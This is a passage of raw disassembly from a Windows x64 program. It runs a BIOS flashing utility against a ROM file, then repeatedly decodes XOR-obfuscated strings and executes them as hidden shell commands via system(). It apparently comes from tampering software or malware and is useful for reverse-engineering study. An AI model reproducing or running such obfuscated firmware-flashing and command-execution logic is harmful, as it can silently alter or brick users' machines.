lea rcx, str.C:WindowsSystem32AFUWINx64.exe_BIOS.rom__p__b__k
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d0660]
movups xmmword [rbp + 0x1a10], xmm0
movups xmm1, xmmword [0x1400d0670]
movups xmmword [rbp + 0x1a20], xmm1
movups xmm0, xmmword [0x1400d0680]
movups xmmword [rbp + 0x1a30], xmm0
movups xmm1, xmmword [0x1400d0690]
movups xmmword [rbp + 0x1a40], xmm1
movups xmm0, xmmword [0x1400d06a0]
movups xmmword [rbp + 0x1a50], xmm0
movups xmm1, xmmword [0x1400d06b0]
movups xmmword [rbp + 0x1a60], xmm1
movups xmm0, xmmword [0x1400d06c0]
movups xmmword [rbp + 0x1a70], xmm0
movups xmm1, xmmword [str._DdOUWIP_V_wvm_gv_l]
movups xmmword [rbp + 0x1a80], xmm1
movsd xmm0, qword [0x1400d06e0]
movsd qword [rbp + 0x1a90], xmm0
mov eax, dword [str.piaQ]
mov dword [rbp + 0x1a98], eax
mov r8d, edi
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14003d0e9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1a14]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14003cff0
cmp r8d, 0x8c
jge 0x14003d136
movsxd rax, r8d
lea r9, [rbp + 0x1a10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8c
jl 0x14003d100
lea rcx, [rbp + 0x1a10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27c0]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x27a0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d07b0]
movups xmmword [rbp + 0xf90], xmm0
movups xmm1, xmmword [0x1400d07c0]
movups xmmword [rbp + 0xfa0], xmm1
movsd xmm0, qword [0x1400d07d0]
movsd qword [rbp + 0xfb0], xmm0
mov ecx, dword [0x1400d07d8]
mov dword [rbp + 0xfb8], ecx
movzx eax, byte [0x1400d07dc]
mov byte [rbp + 0xfbc], al
mov r8d, edi
cmp esi, 2
jl 0x14003d2c3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf94]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003d1d0
cmp r8d, 0x2d
jge 0x14003d303
movsxd rax, r8d
lea r9, [rbp + 0xf90]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003d2d0
mov r8, r10
lea rdx, [rbp + 0xf90]
lea rcx, [rbp + 0x2780]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2760]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2740]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2720]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2720]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2740]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2760]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2780]
call fcn.14004b800
nop
lea rcx, [rbp + 0x27a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x27c0]
call fcn.14004b800
lea rcx, [rbp + 0x2880]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2860]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d1420]
movups xmmword [rbp + 0x1050], xmm0
movups xmm1, xmmword [0x1400d1430]
movups xmmword [rbp + 0x1060], xmm1
movsd xmm0, qword [0x1400d1440]
movsd qword [rbp + 0x1070], xmm0
mov ecx, dword [0x1400d1448]
mov dword [rbp + 0x1078], ecx
movzx eax, byte [0x1400d144c]
mov byte [rbp + 0x107c], al
mov r8d, edi
cmp esi, 2
jl 0x14003d533
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1054]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003d440
cmp r8d, 0x2d
jge 0x14003d573
movsxd rax, r8d
lea r9, [rbp + 0x1050]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003d540
mov r8, r10
lea rdx, [rbp + 0x1050]
lea rcx, [rbp + 0x2840]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2820]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2800]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x27e0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2800]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2820]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2840]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2860]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2880]
call fcn.14004b800
lea rcx, [rbp + 0x2940]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2920]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cfb28]
movups xmmword [rbp + 0xff0], xmm0
movups xmm1, xmmword [0x1400cfb38]
movups xmmword [rbp + 0x1000], xmm1
movsd xmm0, qword [0x1400cfb48]
movsd qword [rbp + 0x1010], xmm0
mov ecx, dword [0x1400cfb50]
mov dword [rbp + 0x1018], ecx
movzx eax, byte [0x1400cfb54]
mov byte [rbp + 0x101c], al
mov r8d, edi
cmp esi, 2
jl 0x14003d7a3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xff4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003d6b0
cmp r8d, 0x2d
jge 0x14003d7e3
movsxd rax, r8d
lea r9, [rbp + 0xff0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003d7b0
mov r8, r10
lea rdx, [rbp + 0xff0]
lea rcx, [rbp + 0x2900]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x28e0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x28c0]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x28a0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x28c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x28e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2900]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2920]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2940]
call fcn.14004b800
lea rcx, [rbp + 0x2a00]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x29e0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [str.u_rdnSUXRIL]
movups xmmword [rbp + 0x1020], xmm0
movups xmm1, xmmword [0x1400d1c60]
movups xmmword [rbp + 0x1030], xmm1
movsd xmm0, qword [0x1400d1c70]
movsd qword [rbp + 0x1040], xmm0
mov ecx, dword [0x1400d1c78]
mov dword [rbp + 0x1048], ecx
movzx eax, byte [0x1400d1c7c]
mov byte [rbp + 0x104c], al
mov r8d, edi
cmp esi, 2
jl 0x14003da13
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1024]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003d920
cmp r8d, 0x2d
jge 0x14003da53
movsxd rax, r8d
lea r9, [rbp + 0x1020]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003da20
mov r8, r10
lea rdx, [rbp + 0x1020]
lea rcx, [rbp + 0x29c0]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x29a0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2980]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2960]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2960]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2980]
call fcn.14004b800
nop
lea rcx, [rbp + 0x29a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x29c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x29e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2a00]
call fcn.14004b800
lea rcx, [rbp + 0x2ae0]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2ac0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d0ec8]
movups xmmword [rbp + 0xd20], xmm0
movups xmm1, xmmword [0x1400d0ed8]
movups xmmword [rbp + 0xd30], xmm1
movsd xmm0, qword [0x1400d0ee8]
movsd qword [rbp + 0xd40], xmm0
mov ecx, dword [0x1400d0ef0]
mov dword [rbp + 0xd48], ecx
movzx eax, byte [0x1400d0ef4]
mov byte [rbp + 0xd4c], al
mov r8d, edi
cmp esi, 2
jl 0x14003dc83
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xd24]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003db90
cmp r8d, 0x2d
jge 0x14003dcc3
movsxd rax, r8d
lea r9, [rbp + 0xd20]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003dc90
mov r8, r10
lea rdx, [rbp + 0xd20]
lea rcx, [rbp + 0x2aa0]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2a80]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2a60]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2a20]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2a60]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2a80]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2aa0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2ac0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2ae0]
call fcn.14004b800
lea rcx, [rbp + 0x2ba0]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2b80]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cf820]
movups xmmword [rbp + 0xe10], xmm0
movups xmm1, xmmword [0x1400cf830]
movups xmmword [rbp + 0xe20], xmm1
movsd xmm0, qword [0x1400cf840]
movsd qword [rbp + 0xe30], xmm0
mov ecx, dword [0x1400cf848]
mov dword [rbp + 0xe38], ecx
movzx eax, byte [0x1400cf84c]
mov byte [rbp + 0xe3c], al
mov r8d, edi
cmp esi, 2
jl 0x14003def3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xe14]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003de00
cmp r8d, 0x2d
jge 0x14003df33
movsxd rax, r8d
lea r9, [rbp + 0xe10]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003df00
mov r8, r10
lea rdx, [rbp + 0xe10]
lea rcx, [rbp + 0x2b60]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2b40]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2b20]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2b00]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b00]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2b20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2b40]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2b60]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2b80]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2ba0]
call fcn.14004b800
lea rcx, [rbp + 0x2c60]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2c40]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cfeb8]
movups xmmword [rbp + 0x1140], xmm0
movups xmm1, xmmword [0x1400cfec8]
movups xmmword [rbp + 0x1150], xmm1
movsd xmm0, qword [0x1400cfed8]
movsd qword [rbp + 0x1160], xmm0
mov ecx, dword [0x1400cfee0]
mov dword [rbp + 0x1168], ecx
movzx eax, byte [0x1400cfee4]
mov byte [rbp + 0x116c], al
mov r8d, edi
cmp esi, 2
jl 0x14003e163
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1144]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e070
cmp r8d, 0x2d
jge 0x14003e1a3
movsxd rax, r8d
lea r9, [rbp + 0x1140]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e170
mov r8, r10
lea rdx, [rbp + 0x1140]
lea rcx, [rbp + 0x2c20]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2c00]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2be0]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2bc0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2bc0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2be0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2c00]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2c20]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2c40]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2c60]
call fcn.14004b800
lea rcx, [rbp + 0x2d20]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2d00]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d15f8]
movups xmmword [rbp + 0x1110], xmm0
movups xmm1, xmmword [0x1400d1608]
movups xmmword [rbp + 0x1120], xmm1
movsd xmm0, qword [0x1400d1618]
movsd qword [rbp + 0x1130], xmm0
mov ecx, dword [0x1400d1620]
mov dword [rbp + 0x1138], ecx
movzx eax, byte [0x1400d1624]
mov byte [rbp + 0x113c], al
mov r8d, edi
cmp esi, 2
jl 0x14003e3d3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1114]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
